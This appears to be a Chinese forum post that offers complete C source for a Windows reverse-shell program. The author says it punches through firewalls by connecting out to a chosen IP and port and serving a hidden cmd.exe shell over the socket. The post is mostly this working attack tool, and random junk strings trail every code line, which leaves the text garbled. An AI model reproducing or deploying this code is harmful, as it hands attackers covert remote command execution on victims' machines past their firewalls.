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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 R2[!h1nZ  
/d-7n|#E  
/* ============================== bjq2XP?LL  
Rebound port in Windows NT Mxe  
By wind,2006/7 %5H>tG`]   
===============================*/ YY<e]CriU  
#include Q /\Hc  
#include K?+ Rq  
_qqJ>E<0  
#pragma comment(lib,"wsock32.lib") \7,'o] >M-  
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void OutputShell(); c}FZb$q#  
SOCKET sClient; \<A@Nf"  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; |4a#O8d  
lL:J:  
void main(int argc,char **argv) U=bZy,FT$  
{ 7e&%R4{b  
WSADATA stWsaData; v<Ux+-  
int nRet; [t`QV2um  
SOCKADDR_IN stSaiClient,stSaiServer; _/!IjB:(70  
 3^zO G2  
if(argc != 3) %@FTg$  
{ VIxcyp0X  
printf("Useage:\n\rRebound DestIP DestPort\n"); ysiBru[u  
return; oMi"X"C:q  
} 4%k_c79>  
"2bCq]I0  
WSAStartup(MAKEWORD(2,2),&stWsaData); ,Z I"+v  
"GofQ5,|  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); -gV'z5  
W;C41>^?/  
stSaiClient.sin_family = AF_INET; `4 A%BKYB  
stSaiClient.sin_port = htons(0); KmkPq]  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); ),)]gw71QW  
: LI*#~'Ka  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) vQ}llA h  
{ w#,C{6  
printf("Bind Socket Failed!\n"); rB:W\5~7  
return; ?o9g5Z  
} *^u5?{$l(  
Kq;Yb&  
stSaiServer.sin_family = AF_INET; |ldRs'c{  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); f+huhJS5e  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); # -Ts]4v  
5A6d]  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) #SRGVa`x  
{ ZOG6  
printf("Connect Error!"); ]f q.r  
return; j{9sn,<:  
} S0Y$$r  
OutputShell(); v7/qJ9l  
} e? fFh,a  
9Qb_BNUo  
void OutputShell() yg gQ4y6  
{ #^v|u3^DD  
char szBuff[1024]; GRb"jF>ut  
SECURITY_ATTRIBUTES stSecurityAttributes; o84!$2P+w  
OSVERSIONINFO stOsversionInfo; [x 5T7=  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; >LwZ"IE V  
STARTUPINFO stStartupInfo; T)]5k3{  
char *szShell; q8.K-"f(Q  
PROCESS_INFORMATION stProcessInformation; MD S;qZx=  
unsigned long lBytesRead; *#,wV  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); .4~n|d>z  
n ||/3-HDj  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); _}7N,Cx   
stSecurityAttributes.lpSecurityDescriptor = 0; =x~HcsJ8!R  
stSecurityAttributes.bInheritHandle = TRUE; +)FB[/pXk  
W9?Vh{w  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); C_Y^<  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); ^~2GhveBV  
0t1WvW  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); { CkxUec  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; <w.W[ak  
stStartupInfo.wShowWindow = SW_HIDE; V 3-5:z  
stStartupInfo.hStdInput = hReadPipe; b$+.}&M  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; J]~LmSh  
R$=UJ}>  
GetVersionEx(&stOsversionInfo); 'tp1|n/1  
vO"Sy{)Z>  
switch(stOsversionInfo.dwPlatformId) Z| Z447_  
{ RUmJ=i'4/  
case 1: ZUb6d*B  
szShell = "command.com"; \&J7>vu^y  
break; hd.^ZD7  
default: v3Y/D1jd"  
szShell = "cmd.exe"; *.AokY)_a  
break; 4QZ -7_  
} B8:_yAv o  
&'UY V>  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); aO?(ZL  
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send(sClient,szMsg,77,0);  tQB+_q z  
while(1) % ^g BDlR^  
{ Y0=qn'`.  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); /z*?:*  
if(lBytesRead) b}p0&%I  
{ }\B`tAN  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 'QjX2ytgX  
send(sClient,szBuff,lBytesRead,0); ` a5$VV%J  
} !L+*.k:  
else |Z<NM#1  
{ `(?E-~#'  
lBytesRead=recv(sClient,szBuff,1024,0); qIa|sV\w0  
if(lBytesRead<=0) break; Tz1St{s\  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); {mMrD 5  
} T&I*8 R~  
} !j6]k^ra  
NWSBqL5v   
return; q3B#rje>h  
}
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